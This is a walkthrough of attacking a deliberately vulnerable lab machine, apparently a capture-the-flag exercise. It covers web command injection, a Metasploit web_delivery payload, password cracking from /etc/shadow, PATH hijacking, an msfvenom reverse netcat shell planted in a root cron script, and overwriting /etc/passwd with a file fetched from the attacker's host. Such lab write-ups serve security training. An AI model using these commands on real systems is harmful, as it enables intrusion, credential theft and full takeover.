**Vulnerable Machine : Walkthrough**

****Security Level****: Beginner-Intermediate

### ****Scanning:****

start off by scanning the network using Netdiscover tool and identify the host IP address.

scan the services and ports of target machine with nmap

### ****Enumeration:****

we can see port 80 is open, so we tried to open the IP address in our browser and got nothing but the default Apache webpage.

we used ****dirb**** with .php filter for directory enumeration.

After brute-forcing with dirb, we found a URL named [http://192.168.x.xx](http://192.168.0.17/shell.php)**[/shell.php](http://192.168.0.17/shell.php)**

Now we opened the URL in our browser and found that it accepts ****cmd**** as get parameter.

So, we passed the ****id**** command in the URL and found the results are reflected in the response.

### ****Exploiting****

Since the target machine is vulnerable to command injection, we created a web delivery shell using Metasploit.

use exploit/multi/script/web\_delivery

set srvhost 192.168.0.xx

set lhost 192.168.0.xx

exploit

The target host was not able to run the script directly, so we used URL encoding.

We got the bash shell of User6 after using python one-liner shell command.

To further enumerate the target host, we uploaded ****LinEnum**** tool on the target host.

upload /root/LinEnum.sh .

shell

python -c 'import pty;pty.spawn("/bin/bash")'

chmod 777 LinEnum.sh

./LinEnum.sh

From the results of LinEnum scan, we found that the target host has****eight users**** namely user1, user2 up to user8.

We also found that in crontab, a file named ****autoscript.sh**** is being run every ****5 minutes**** with root privileges.

From the same LinEnum scan, we came to know that ****/etc/passwd****is writable for users also. Also, we found that we can run ****shell****and****script files**** with root privileges because SUID bit is enabled on it.

### ****Privilege Escalation:****

### ****Method 1: Get root shell by exploiting SUID rights of the shell file****

Using the find command we can confirm that the ****shell**** file located in the home directory of ****user3**** can be executed with root privileges.

We tried to execute the same file and got the root shell.

find / -perm -u=s -type f 2>/dev/null

cd /home/user3

./shell

### ****Method 2: Get a root shell by cracking the root password****

From the above screenshot, we know that the ****script**** file located in the ****user5**** home directory can be executed with root privileges. Using the Path variable exploitation methodology we can access the ****/etc/shadow**** file.

cd /tmp

echo "cat /etc/shadow" > ps

chmod 777 ps

export PATH=/tmp:$PATH

cd /home/user5

./script

We copied the hashed password of root user in the hash file and used John The Ripper tool to crack the password. We got the password of the root as ****12345**** and then using the ****su****command we were able to access as root.

john hash

su root

### ****Method 3: Get root shell by exploiting SUDO rights of user1****

We already know by now that script file can be executed with root privileges.

Using the same script file we can change the password of all the users with the help of Path variable methodology.

Here we used ****echo**** and ****chpasswd**** command to replace the existing password with our new password ****12345****. And then switched to the user1 account using ****su****command. After checking the sudoer’s list for user1 we came to know that this user can run all commands as sudo.

So we ran the command ****sudo su**** and got the root access.

echo 'echo "user1:12345" | chpasswd' > ls

chmod 777 ls

export PATH=/tmp:$PATH

cd /home/user5

./script

su user1

sudo –l

sudo su

### ****Method 4: Get root shell by exploiting crontab****

In the previous screenshot, we saw there is a task scheduled after every ****5 minutes**** for ****user4**** in the crontab by the name ****autoscript.sh****. We changed the password of user4 the same way as we did for user1 and then switched to user4 with the new password ****12345****. There we can see a file ****autoscript.sh****in the Desktop folder.

su user4

ls -la

 we created a payload using msfvenom and then copied the code into autoscript.sh file using echo.

msfvenom –p cmd/unix/reverse\_netcat lhost=192.168.0.xx lport=8888 R

echo "code" > autoscript.sh

After copying the code into autoscript.sh file we executed the file and started the netcat listener on our kali machine and waited for the shell.

nc –lvp 8888 id

### ****Method 5: Exploiting SUDO rights of vi editor****

We changed the password of all the users to ****12345****using the same methodology as above and switched between users to check for more exploits. We found that ****user8**** has a sudo permission for vi editors.

su user8

sudo -l

Open the ****vi**** editor with ****sudo**** and insert ****sh**** command as shown in the screenshot below, exit the editor and hurray we got the ****root shell.****

:!sh

ids

### ****Method 6: Exploiting writable permission of /etc/passwd file****

Continuing with the enumeration of users, we found that ****user7****is a member of the ****root**** group with ****gid 0.****

And we already know from the ****LinEnum**** scan that ****/etc/passwd**** file is writable for the user. So from this observation, we concluded that ****user7****can edit the /etc/passwd file.

tail /etc/passwd

su user7

id

So we copied the contents of /etc/passwd file in our kali machine and created a new user named ****raj****with ****root privileges****for which we generated a password ****pass123****using ****openssl.****

openssl passwd -1 -salt ignite pass123

On the target machine, we downloaded the edited ****passwd**** file in the ****/etc**** folder using ****wge****t command.

Then we tried to switch to our newly created user ****raj****and YES yet again we proudly got the ****root shell****of the machine.

cd /etc

wget –O passwd http://192.168.0.xx:8000/passwd

su raj

id